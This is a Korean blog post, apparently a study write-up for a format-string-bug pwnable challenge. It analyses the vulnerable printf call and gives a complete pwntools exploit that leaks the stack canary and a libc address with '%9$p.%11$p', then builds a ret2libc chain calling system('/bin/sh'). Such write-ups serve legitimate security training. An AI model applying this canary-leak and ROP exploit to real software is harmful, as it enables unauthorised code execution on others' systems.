FSB 문제 풀이 (2)
2021. 8. 3. 22:24ㆍLayer7/Pwnable
728x90
- 소스코드 분석
0x20 크기의 char형 배열 format이 선언되어있습니다.
이 배열에 길이 10만큼 입력을 받고, printf() 함수로 출력합니다.
그런데, 여기서 printf() 함수에 format string이 없으니 FSB 취약점이 발생합니다.
그리고 read() 함수로 다시 입력을 받습니다.
소스코드 분석은 이 정도면 된 것 같습니다.
이번 문제는 저번 문제와는 다르게 Stack Canary 보호 기법이 걸려있습니다.
이에 초점을 맞춰서 아이디어를 짜보겠습니다.
- RSI, RDX, RCX, R8, R9 5개 + ret 1개 + sfp 직전 (0x20/8) + sfp 1개 = 11개 -> return address값 leak
- RSI, RDX, RCX, R8, R9 5개 + Canary 직전 (0x20-8/8) + Canary 1개 = 9개 -> Canary값 leak
아마 이렇게 될 것 같습니다.
이제 각각 두 값을 구해보도록 하겠습니다.
값이 그때 그 때 바뀌는 걸 보니 익스코드 내에서 recv로 받아서 써야 할 것 같습니다.
가젯도 조금 필요할 것 같으니 필요한 가젯을 모아보겠습니다.
이제 익스코드를 작성해보겠습니다.
from pwn import *
p=process('./fsb2')
e=ELF('./fsb2')
libc=e.libc
prdi=0x400893
__libc_start_main=libc.symbols['__libc_start_main']
ssystem=libc.symbols['system']
pay="%9$p.%11$p"
p.send(pay)
canary=int(p.recvuntil(".")[:-1],16)
ret=int(p.recv(14),16)
libc_base=ret-__libc_start_main-240
system=libc_base+ssystem
binsh=libc_base+libc.search('/bin/sh\x00').next()
pay='a'*(0x20-8)+p64(canary)+'b'*0x8+p64(prdi)
pay+=p64(binsh)+p64(system)
p.send(pay)
p.interactive()
728x90
'Layer7 > Pwnable' 카테고리의 다른 글
FSB 문제 풀이 (1) (0) | 2021.08.01 |
---|---|
여러가지 ROP 문제 풀이 (0) | 2021.08.01 |
Pwndbg 동적 디버깅으로 RTL 32bit, RTL 64bit 풀기 - Ubuntu Linux (0) | 2021.07.19 |
PLT와 GOT (0) | 2021.07.17 |